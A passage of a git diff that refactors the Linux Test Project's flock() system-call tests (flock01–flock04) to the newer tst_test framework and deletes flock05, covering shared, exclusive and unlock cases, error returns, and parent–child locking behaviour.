+// SPDX-License-Identifier: GPL-2.0-or-later
+/* Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
+ * Author: Vatsal Avasthi
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * Test Description:
+ *  This test verifies that flock() succeeds with all kind of locks.
  */
-/**********************************************************
- *
- *    TEST IDENTIFIER   : flock01
- *
- *    EXECUTED BY       : anyone
- *
- *    TEST TITLE        : Basic test for flock(2)
- *
- *    TEST CASE TOTAL   : 3
- *
- *    AUTHOR            : Vatsal Avasthi <vatsal.avasthi@wipro.com>
- *
- *    SIGNALS
- *      Uses SIGUSR1 to pause before test if option set.
- *      (See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- * 	Test to verify flock(2) succeeds with all kind of locks.
- *	Intends to provide a limited exposure of system call.
- *    $
- *	Setup:
- *        Setup signal handling.
- *        Pause for SIGUSR1 if option specified.
- *        Create a temporary directory and chdir to it.
- * 	  Create a temporary file
- *
- *	Test:
- *	Loop if proper options are given.
- *		Execute system call
- *		Check return code, if system call failed (return == -1)
- *				Log the error number and issue a FAIL message
- *		otherwise issue a PASS message
- *
- *      Cleanup:
- *        Print errno log and/or timing stats if options given
- *	  Deletes temporary directory.
- *
- * USAGE:  <for command-line>
- *      flock01 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f] [-p]
- *                      where,  -c n : Run n copies concurrently.
- *                              -f   : Turn off functional testing
- *    				-e   : Turn on errno logging.
- *                              -h   : Show help screen                        $
- *				-i n : Execute test n times.
- *                              -I x : Execute test for x seconds.
- *                              -p   : Pause for SIGUSR1 before starting
- *                              -P x : Pause for x seconds between iterations.
- *                              -t   : Turn on syscall timing.
- *
- ****************************************************************/
 
 #include <errno.h>
-#include <stdio.h>
-#include <sys/wait.h>
 #include <sys/file.h>
-#include <fcntl.h>
-#include "test.h"
-#include "safe_macros.h"
 
-void setup(void);
-void cleanup(void);
+#include "tst_test.h"
 
-char *TCID = "flock01";
-int TST_TOTAL = 3;
-char filename[100];
-int fd;
+static int fd = -1;
 
-struct test_case_t {
+static struct tcase {
 	int operation;
 	char *opt;
-} test_cases[] = {
-	{ LOCK_SH, "Shared Lock" },
-	{ LOCK_UN, "Unlock"},
-	{ LOCK_EX, "Exclusive Lock"}
+} tcases[] = {
+	{LOCK_SH, "Shared Lock" },
+	{LOCK_UN, "Unlock"},
+	{LOCK_EX, "Exclusive Lock"},
 };
 
-int main(int argc, char **argv)
+static void verify_flock(unsigned n)
 {
-	int lc, i;
+	struct tcase *tc = &tcases[n];
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	/* global setup */
-	setup();
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; ++i) {
-
-			/* Testing system call */
-			TEST(flock(fd, test_cases[i].operation));
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL | TTERRNO,
-					 "flock() failed to get %s",
-					 test_cases[i].opt);
-				continue;	/*next loop for MTKERNEL  */
-			} else {
-				tst_resm(TPASS,
-					 "flock() succeeded with %s",
-					 test_cases[i].opt);
-			}
-
-		}
-
+	TEST(flock(fd, tc->operation));
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO,
+			"flock() failed to get %s", tc->opt);
+	} else {
+		tst_res(TPASS,
+			"flock() succeeded with %s", tc->opt);
 	}
-
-	close(fd);
-
-	cleanup();
-
-	tst_exit();
-
 }
 
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
+static void setup(void)
 {
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -i option.
-	 * You want to make sure you do this before you create your temporary
-	 * directory.
-	 */
-	TEST_PAUSE;
-
-	/* Create a unique temporary directory and chdir() to it. */
-	tst_tmpdir();
-
-	sprintf(filename, "flock01.%d", getpid());
-
-	/* creating temporary file */
-	fd = SAFE_OPEN(tst_rmdir, filename, O_CREAT | O_TRUNC | O_RDWR, 0644);
+	fd = SAFE_OPEN("testfile", O_CREAT | O_TRUNC | O_RDWR, 0644);
 }
 
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- * 	completion or premature exit
- */
-void cleanup(void)
+static void cleanup(void)
 {
-
-	unlink(filename);
-	tst_rmdir();
-
+	if (fd >= 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_flock,
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/flock/flock02.c b/testcases/kernel/syscalls/flock/flock02.c
index 9ddf729..07f11ec 100644
--- a/testcases/kernel/syscalls/flock/flock02.c
+++ b/testcases/kernel/syscalls/flock/flock02.c
@@ -1,164 +1,68 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
+ * Author: Vatsal Avasthi
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * Test Description:
+ *  1) flock() returns -1 and sets error number to EBADF if the file descriptor
+ *     is invalid.
+ *  2) flock() returns -1 and sets error number to EINVAL if the argument
+ *     operation does not include LOCK_SH,LOCK_EX,LOCK_UN.
+ *  3) flock() returns -1 and sets error number to EINVAL if an invalid
+ *     combination of locking modes is used i.e LOCK_SH with LOCK_EX
  */
-/**********************************************************
- *
- *    TEST IDENTIFIER   : flock02
- *
- *    EXECUTED BY       : anyone
- *
- *    TEST TITLE        : Error condition test for flock(2)
- *
- *    TEST CASE TOTAL   : 3
- *
- *    AUTHOR            : Vatsal Avasthi <vatsal.avasthi@wipro.com>
- *
- *    SIGNALS
- *      Uses SIGUSR1 to pause before test if option set.
- *      (See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- * 	This test verifies that
- *	1)	flock(2) returns -1 and sets error number to EBADF
- *		if the file descriptor is invalid.
- *      2)	flock(2) returns -1 and sets error number to EINVAL
- *		if the argument operation does not include LOCK_SH,LOCK_EX,LOCK_UN.$
- *	3)	flock(2) returns -1 and sets error number to EINVAL
- *		if an invalid combination of locking modes is used i.e LOCK_SH with LOCK_EX
- *
- *	Setup:
- *        Setup signal handling.
- *        Pause for SIGUSR1 if option specified.
- *        Create a temporary directory and chdir to it.
- * 	  Create a temporary file
- *
- *	Test:
- *	Loop if proper options are given.
- *		Execute system call
- *		Check return code,
- *			if system call failed (return == -1) and errno == expected_errno
- *				Issue system call fails with expected return value and error number
- *			else
- *				Issue system call failed to produce expected error.
- *
- *      Cleanup:
- *        Print errno log and/or timing stats if options given
- *	  Deletes temporary directory.
- *
- * USAGE:  <for command-line>
- *      flock02 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f] [-p]
- *                      where,  -c n : Run n copies concurrently.
- *                              -f   : Turn off functional testing
- *    				-e   : Turn on errno logging.
- *                              -h   : Show help screen                        $
- *				-i n : Execute test n times.
- *                              -I x : Execute test for x seconds.
- *                              -p   : Pause for SIGUSR1 before starting
- *                              -P x : Pause for x seconds between iterations.
- *                              -t   : Turn on syscall timing.
- *
- ****************************************************************/
 
-#include <sys/types.h>
-#include <sys/file.h>
-#include <sys/wait.h>
-#include <fcntl.h>
 #include <errno.h>
-#include <stdio.h>
-#include "test.h"
+#include <sys/file.h>
 
-void setup(void);
-void cleanup(void);
+#include "tst_test.h"
 
-char *TCID = "flock02";
-int TST_TOTAL = 3;
-char filename[100];
-int fd;
+static int badfd = -1;
+static int fd;
 
-int main(int argc, char **argv)
+static struct tcase {
+	int *fd;
+	int operation;
+	int exp_err;
+} tcases[] = {
+	{&badfd, LOCK_SH, EBADF},
+	{&fd, LOCK_NB, EINVAL},
+	{&fd, LOCK_SH | LOCK_EX, EINVAL},
+};
+
+static void verify_flock(unsigned n)
 {
-	int lc;
+	struct tcase *tc = &tcases[n];
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(flock(-1, LOCK_SH));
-
-		if (TEST_RETURN == -1 && TEST_ERRNO == EBADF)
-			tst_resm(TPASS, "flock failed as expected with EBADF");
-		else if (TEST_RETURN == 0)
-			tst_resm(TFAIL, "flock succeeded unexpectedly");
-		else
-			tst_resm(TFAIL | TTERRNO, "flock failed unexpectedly");
-
-		/* Test system call with invalid argument */
-		TEST(flock(fd, LOCK_NB));
-
-		if (TEST_RETURN == -1 && TEST_ERRNO == EINVAL)
-			tst_resm(TPASS, "flock failed as expected with EINVAL");
-		else if (TEST_RETURN == 0)
-			tst_resm(TFAIL, "flock succeeded unexpectedly");
-		else
-			tst_resm(TFAIL | TTERRNO, "flock failed unexpectedly");
-
-		/* Test system call with invalid combination of arguments */
-		TEST(flock(fd, LOCK_SH | LOCK_EX));
-
-		if (TEST_RETURN == -1 && TEST_ERRNO == EINVAL) {
-			tst_resm(TPASS, "flock failed as expected with EINVAL");
-			continue;	/*next loop for MTKERNEL  */
-		} else if (TEST_RETURN == 0)
-			tst_resm(TFAIL, "flock succeeded unexpectedly");
-		else
-			tst_resm(TFAIL | TTERRNO, "flock failed unexpectedly");
-
+	fd = SAFE_OPEN("testfile", O_RDWR);
+	TEST(flock(*tc->fd, tc->operation));
+	if (TST_RET == 0) {
+		tst_res(TFAIL | TTERRNO, "flock() succeeded unexpectedly");
+		SAFE_CLOSE(fd);
+		return;
 	}
 
-	close(fd);
+	if (tc->exp_err == TST_ERR) {
+		tst_res(TPASS | TTERRNO, "flock() failed expectedly");
+	} else {
+		tst_res(TFAIL | TTERRNO, "flock() failed unexpectedly, "
+			"expected %s", tst_strerrno(tc->exp_err));
+	}
 
-	cleanup();
-
-	tst_exit();
-
+	SAFE_CLOSE(fd);
 }
 
-void setup(void)
+static void setup(void)
 {
+	int fd1;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	sprintf(filename, "flock02.%d", getpid());
-
-	fd = open(filename, O_CREAT | O_TRUNC | O_RDWR, 0666);
-	if (fd < 0)
-		tst_brkm(TFAIL | TERRNO, cleanup, "creat failed");
+	fd1 = SAFE_OPEN("testfile", O_CREAT | O_TRUNC | O_RDWR, 0666);
+	SAFE_CLOSE(fd1);
 }
 
-void cleanup(void)
-{
-	unlink(filename);
-	tst_rmdir();
-
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_flock,
+	.needs_tmpdir = 1,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/flock/flock03.c b/testcases/kernel/syscalls/flock/flock03.c
index 420f509..57dcc5f 100644
--- a/testcases/kernel/syscalls/flock/flock03.c
+++ b/testcases/kernel/syscalls/flock/flock03.c
@@ -1,28 +1,13 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2002
- * Copyright (c) 2012 Cyril Hrubis <chrubis@suse.cz>
+ * Author: Cyril Hrubis
  *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * This test verifies that flock cannot unlock a file locked
- * by another task
+ * Test Description:
+ *  This test verifies that flock() cannot unlock a file locked by another
+ *  task.
  *
  * Test Steps:
- *
  *  Fork a child processes The parent flocks a file with LOCK_EX Child waits
  *  for that to happen, then checks to make sure it is locked.  Child then
  *  tries to unlock the file. If the unlock succeeds, the child attempts to
@@ -30,166 +15,84 @@
  *  the file.
  */
 
-#include <stdio.h>
 #include <errno.h>
-#include <fcntl.h>
-#include <sys/types.h>
-#include <sys/stat.h>
+#include <stdlib.h>
 #include <sys/file.h>
-#include <sys/wait.h>
-#include "test.h"
 
-#define FILE_NAME "flock03"
-
-static void setup(void);
-static void cleanup(void);
-static void childfunc(int);
-
-#ifdef UCLINUX
-static int fd_uc;
-static void childfunc_uc(void)
-{
-	childfunc(fd_uc);
-}
-#endif
-
-char *TCID = "flock03";
-int TST_TOTAL = 3;
-
-int main(int argc, char **argv)
-{
-	int lc;
-	pid_t pid;
-	int status;
-	int fd;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-#ifdef UCLINUX
-	maybe_run_child(&childfunc_uc, "ds", &fd_uc, FILE_NAME);
-#endif
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		fd = open(FILE_NAME, O_RDWR);
-
-		if (fd == -1)
-			tst_brkm(TFAIL | TERRNO, cleanup,
-				 "parent failed to open the file");
-
-		pid = FORK_OR_VFORK();
-
-		if (pid == -1)
-			tst_brkm(TFAIL | TERRNO, cleanup, "fork() failed");
-		if (pid == 0) {
-#ifdef UCLINUX
-			if (self_exec(argv[0], "ds", fd, FILE_NAME) < 0)
-				tst_brkm(TFAIL | TERRNO, cleanup,
-					 "self_exec failed");
-#else
-			childfunc(fd);
-#endif
-		}
-
-		TEST(flock(fd, LOCK_EX | LOCK_NB));
-
-		if (TEST_RETURN != 0)
-			tst_resm(TFAIL | TTERRNO,
-				 "Parent: Initial attempt to flock() failed");
-		else
-			tst_resm(TPASS,
-				 "Parent: Initial attempt to flock() passed");
-
-		TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
-
-		if ((waitpid(pid, &status, 0)) < 0) {
-			tst_resm(TFAIL, "wait() failed");
-			continue;
-		}
-		if ((WIFEXITED(status)) && (WEXITSTATUS(status) == 0))
-			tst_resm(TPASS, "flock03 Passed");
-		else
-			tst_resm(TFAIL, "flock03 Failed");
-
-		close(fd);
-
-	}
-
-	cleanup();
-	tst_exit();
-}
+#include "tst_test.h"
 
 static void childfunc(int fd)
 {
 	int fd2;
+	TST_CHECKPOINT_WAIT(0);
 
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
-
-	fd2 = open(FILE_NAME, O_RDWR);
-
-	if (fd2 == -1) {
-		fprintf(stderr, "CHILD: failed to open the file: %s\n",
-		        strerror(errno));
-		exit(1);
-	}
-
-	if (flock(fd2, LOCK_EX | LOCK_NB) != -1) {
-		fprintf(stderr, "CHILD: The file was not already locked\n");
-		exit(1);
-	}
+	fd2 = SAFE_OPEN("testfile", O_RDWR);
+	if (flock(fd2, LOCK_EX | LOCK_NB) != -1)
+		tst_brk(TBROK, "CHILD: The file was not already locked");
 
 	TEST(flock(fd, LOCK_UN));
-	/* XXX: LOCK_UN does not return an error if there was nothing to
-	 * unlock.
-	 */
-	if (TEST_RETURN == -1) {
-		fprintf(stderr, "CHILD: Unable to unlock file locked by "
-		        "parent: %s\n", strerror(TEST_ERRNO));
+	if (TST_RET == -1) {
+		tst_res(TFAIL, "CHILD: Unable to unlock file locked by "
+			"parent: %s", tst_strerrno(TST_ERR));
 		exit(1);
 	} else {
-		fprintf(stderr, "CHILD: File locked by parent unlocked\n");
+		tst_res(TPASS, "CHILD: File locked by parent unlocked");
 	}
 
 	TEST(flock(fd2, LOCK_EX | LOCK_NB));
-
-	if (TEST_RETURN == -1) {
-		fprintf(stderr, "CHILD: Unable to lock file after "
-		        "unlocking: %s\n", strerror(TEST_ERRNO));
+	if (TST_RET == -1) {
+		tst_res(TFAIL, "CHILD: Unable to unlock file after "
+			"unlocking: %s", tst_strerrno(TST_ERR));
 		exit(1);
 	} else {
-		fprintf(stderr, "CHILD: Locking after unlock passed\n");
+		tst_res(TPASS, "Locking after unlock passed");
 	}
 
-	close(fd);
-	close(fd2);
+	SAFE_CLOSE(fd);
+	SAFE_CLOSE(fd2);
 
 	exit(0);
 }
 
+static void verify_flock(void)
+{
+	int fd1;
+	pid_t pid;
+
+	fd1 = SAFE_OPEN("testfile", O_RDWR);
+
+	pid = SAFE_FORK();
+	if (pid == 0)
+		childfunc(fd1);
+
+	TEST(flock(fd1, LOCK_EX | LOCK_NB));
+	if (TST_RET != 0) {
+		tst_res(TFAIL | TTERRNO,
+			"Parent: Initial attempt to flock() failed");
+	} else {
+		tst_res(TPASS,
+			"Parent: Initial attempt to flock() passed");
+	}
+
+	TST_CHECKPOINT_WAKE(0);
+
+	tst_reap_children();
+
+	SAFE_CLOSE(fd1);
+}
+
 static void setup(void)
 {
 	int fd;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	TST_CHECKPOINT_INIT(tst_rmdir);
-
-	fd = open(FILE_NAME, O_CREAT | O_TRUNC | O_RDWR, 0666);
-	if (fd < 0) {
-		tst_resm(TBROK, "creating a new file failed");
-		cleanup();
-	}
-	close(fd);
+	fd = SAFE_OPEN("testfile", O_CREAT | O_TRUNC | O_RDWR, 0666);
+	SAFE_CLOSE(fd);
 }
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.test_all = verify_flock,
+	.needs_checkpoints = 1,
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/flock/flock04.c b/testcases/kernel/syscalls/flock/flock04.c
index 8a282b4..e4fd23c 100644
--- a/testcases/kernel/syscalls/flock/flock04.c
+++ b/testcases/kernel/syscalls/flock/flock04.c
@@ -1,178 +1,92 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
+// SPDX-License-Identifier: GPL-2.0-or-later
+/* Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
+ * Author: Vatsal Avasthi
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * Test Description:
+ *  This test verifies that flock() behavior with different locking
+ *  combinations along with LOCK_SH and LOCK_EX:
+ *	1) flock() succeeded in acquiring shared lock on shared lock file.
+ *	2) flock() failed to acquire exclusive lock on shared lock file.
+ *	3) flock() failed to acquire shared lock on exclusive lock file.
+ *	4) flock() failed to acquire exclusive lock on exclusive lock file.
  */
-/**********************************************************
- *
- *    TEST IDENTIFIER   : flock04
- *
- *    EXECUTED BY       : anyone
- *
- *    TEST TITLE        : Testing different locks on flock(2)
- *
- *    TEST CASE TOTAL   : 2
- *
- *    AUTHOR            : Vatsal Avasthi <vatsal.avasthi@wipro.com>
- *
- *    SIGNALS
- *      Uses SIGUSR1 to pause before test if option set.
- *      (See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- * 	Tests to verify flock(2) behavior with different locking combinations along
- *	with LOCK_SH.
- *    $
- *	Setup:
- *        Setup signal handling.
- *        Pause for SIGUSR1 if option specified.
- *        Create a temporary directory and chdir to it.
- * 	  Create a temporary file
- *
- *	Test:
- *	Loop if proper options are given.
- *		Parent flocks(2) a file
- *		fork() a child process
- * 		Child tries to flock() the already flocked file with different types of locks
- *		Check return code, if system call failed (return == -1)
- *				Log the error number and issue a FAIL message
- *		otherwise issue a PASS message
- *
- *      Cleanup:
- *        Print errno log and/or timing stats if options given
- *	  Deletes temporary directory.
- *
- * USAGE:  <for command-line>
- *      flock04 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f] [-p]
- *                      where,  -c n : Run n copies concurrently.
- *                              -f   : Turn off functional testing
- *    				-e   : Turn on errno logging.
- *                              -h   : Show help screen                        $
- *				-i n : Execute test n times.
- *                              -I x : Execute test for x seconds.
- *                              -p   : Pause for SIGUSR1 before starting
- *                              -P x : Pause for x seconds between iterations.
- *                              -t   : Turn on syscall timing.
- *
- ****************************************************************/
 
 #include <errno.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <sys/wait.h>
 #include <sys/file.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include "test.h"
-#include "safe_macros.h"
+#include <stdlib.h>
 
-void setup(void);
-void cleanup(void);
+#include "tst_test.h"
 
-char *TCID = "flock04";
-int TST_TOTAL = 2;
-char filename[100];
-int fd, fd1, status;
+static struct tcase {
+	int operation;
+	char *f_lock;
+} tcases[] = {
+	{LOCK_SH, "shared lock"},
+	{LOCK_EX, "exclusive lock"},
+};
 
-int main(int argc, char **argv)
+static void child(int opt, int should_pass, char *lock)
 {
-	int lc, retval;
-	pid_t pid;
+	int retval, fd1;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(flock(fd, LOCK_SH));
-		if (TEST_RETURN == 0) {
-
-			pid = FORK_OR_VFORK();
-			if (pid == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "fork failed");
-			if (pid == 0) {
-				fd1 = open(filename, O_RDONLY);
-				retval = flock(fd1, LOCK_SH | LOCK_NB);
-				if (retval == -1)
-					tst_resm(TFAIL,
-						 "flock() FAILED to acquire shared lock on existing "
-						 "Share Locked file");
-				else
-					tst_resm(TPASS,
-						 "flock() PASSED in acquiring shared lock on "
-						 "Share Locked file");
-				exit(0);
-			} else {
-				SAFE_WAIT(cleanup, &status);
-			}
-
-			pid = FORK_OR_VFORK();
-			if (pid == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "fork failed");
-
-			if (pid == 0) {
-				fd1 = open(filename, O_RDWR);
-				retval = flock(fd1, LOCK_EX | LOCK_NB);
-				if (retval == -1) {
-					tst_resm(TPASS,
-						 "flock() failed to acquire exclusive lock on existing "
-						 "share locked file as expected");
-				} else {
-					tst_resm(TFAIL,
-						 "flock() unexpectedly passed in acquiring exclusive lock on "
-						 "Share Locked file");
-				}
-				exit(0);
-			} else if (wait(&status) == -1)
-				tst_resm(TBROK | TERRNO, "wait failed");
-			TEST(flock(fd, LOCK_UN));
-		} else
-			tst_resm(TFAIL | TERRNO, "flock failed");
-
-		close(fd);
-		close(fd1);
+	fd1 = SAFE_OPEN("testfile", O_RDWR);
+	retval = flock(fd1, opt);
+	if (should_pass) {
+		tst_res(retval == -1 ? TFAIL : TPASS,
+			" Child acquiring %s got %d", lock, retval);
+	} else {
+		tst_res(retval == -1 ? TPASS : TFAIL,
+			" Child acquiring %s got %d", lock, retval);
 	}
 
-	cleanup();
-	tst_exit();
+	SAFE_CLOSE(fd1);
+	exit(0);
 }
 
-void setup(void)
+static void verify_flock(unsigned n)
 {
+	int fd2;
+	pid_t pid;
+	struct tcase *tc = &tcases[n];
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
+	fd2 = SAFE_OPEN("testfile", O_RDWR);
+	TEST(flock(fd2, tc->operation));
+	if (TST_RET != 0) {
+		tst_res(TFAIL | TERRNO, "flock() failed to acquire %s",
+			tc->f_lock);
+		SAFE_CLOSE(fd2);
+		return;
+	}
 
-	TEST_PAUSE;
+	tst_res(TPASS, "Parent had %s", tc->f_lock);
 
-	tst_tmpdir();
+	pid = SAFE_FORK();
+	if (pid == 0)
+		child(LOCK_SH | LOCK_NB, tc->operation & LOCK_SH, "shared lock");
+	else
+		tst_reap_children();
 
-	sprintf(filename, "flock04.%d", getpid());
+	pid = SAFE_FORK();
+	if (pid == 0)
+		child(LOCK_EX | LOCK_NB, 0, "exclusive lock");
+	else
+		tst_reap_children();
 
-	fd = open(filename, O_CREAT | O_TRUNC | O_RDWR, 0666);
-	if (fd == -1)
-		tst_brkm(TFAIL, cleanup, "creating a new file failed");
+	SAFE_CLOSE(fd2);
 }
 
-void cleanup(void)
+static void setup(void)
 {
-	unlink(filename);
+	int fd;
 
-	tst_rmdir();
+	fd = SAFE_OPEN("testfile", O_CREAT | O_TRUNC | O_RDWR, 0644);
+	SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_flock,
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/flock/flock05.c b/testcases/kernel/syscalls/flock/flock05.c
deleted file mode 100644
index 13ae2f6..0000000
--- a/testcases/kernel/syscalls/flock/flock05.c
+++ /dev/null
@@ -1,207 +0,0 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-/**********************************************************
- *
- *    TEST IDENTIFIER   : flock05
- *
- *    EXECUTED BY       : anyone
- *
- *    TEST TITLE        : Testing different locks on flock(2)
- *
- *    TEST CASE TOTAL   : 2
- *
- *    AUTHOR            : Vatsal Avasthi <vatsal.avasthi@wipro.com>
- *
- *    SIGNALS
- *      Uses SIGUSR1 to pause before test if option set.
- *      (See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- * 	Tests to verify flock(2) behavior with different locking combinations along
- *	with LOCK_EX.
- *    $
- *	Setup:
- *        Setup signal handling.
- *        Pause for SIGUSR1 if option specified.
- *        Create a temporary directory and chdir to it.
- * 	  Create a temporary file
- *
- *	Test:
- *	Loop if proper options are given.
- *		Parent flocks(2) a file
- *		fork() a child process
- * 		Child tries to flock() the already flocked file with different types of locks
- *		Check return code, if system call failed (return == -1)
- *				Log the error number and issue a FAIL message
- *		otherwise issue a PASS message
- *
- *      Cleanup:
- *        Print errno log and/or timing stats if options given
- *	  Deletes temporary directory.
- *
- * USAGE:  <for command-line>
- *      flock05 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f] [-p]
- *                      where,  -c n : Run n copies concurrently.
- *                              -f   : Turn off functional testing
- *    				-e   : Turn on errno logging.
- *                              -h   : Show help screen                        $
- *				-i n : Execute test n times.
- *                              -I x : Execute test for x seconds.
- *                              -p   : Pause for SIGUSR1 before starting
- *                              -P x : Pause for x seconds between iterations.
- *                              -t   : Turn on syscall timing.
- *
- ****************************************************************/
-
-#include <errno.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/file.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include "test.h"
-
-void setup(void);
-void cleanup(void);
-
-char *TCID = "flock05";
-int TST_TOTAL = 2;
-char filename[100];
-int fd, fd1, status;
-
-int main(int argc, char **argv)
-{
-	int lc, retval;
-	pid_t pid;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	/* global setup */
-	setup();
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/* Testing Shared lock on Exclusive Locked file */
-		TEST(flock(fd, LOCK_EX));
-		if (TEST_RETURN == 0) {
-
-			pid = FORK_OR_VFORK();
-			if (pid == 0) {
-				fd1 = open(filename, O_RDWR);
-				retval = flock(fd1, LOCK_SH | LOCK_NB);
-				if (retval == -1) {
-					tst_resm(TPASS,
-						 "flock() failed to acquire shared lock on an already"
-						 "exclusive locked file as expected");
-				} else {
-					tst_resm(TFAIL,
-						 "flock() unexpectedly PASSED in acquiring shared lock on "
-						 "an already exclusive locked file");
-				}
-				exit(0);
-			} else {
-				/* parent waiting */
-				wait(&status);
-			}
-
-			/* Testing Exclusive lock on a Exclusive Locked file */
-			pid = FORK_OR_VFORK();
-
-			if (pid == 0) {
-				fd1 = open(filename, O_RDWR);
-				retval = flock(fd1, LOCK_EX | LOCK_NB);
-				if (retval == -1) {
-					tst_resm(TPASS,
-						 "flock() failed to acquire exclusive lock on existing "
-						 " exclusive locked file as expected");
-				} else {
-					tst_resm(TFAIL,
-						 "flock() unexpectedly passed in acquiring exclusive lock on "
-						 "an exclusive locked file");
-				}
-				exit(0);
-			} else {
-				/* parent waiting */
-				wait(&status);
-			}
-			TEST(flock(fd, LOCK_UN));
-		} else {
-			tst_resm(TFAIL,
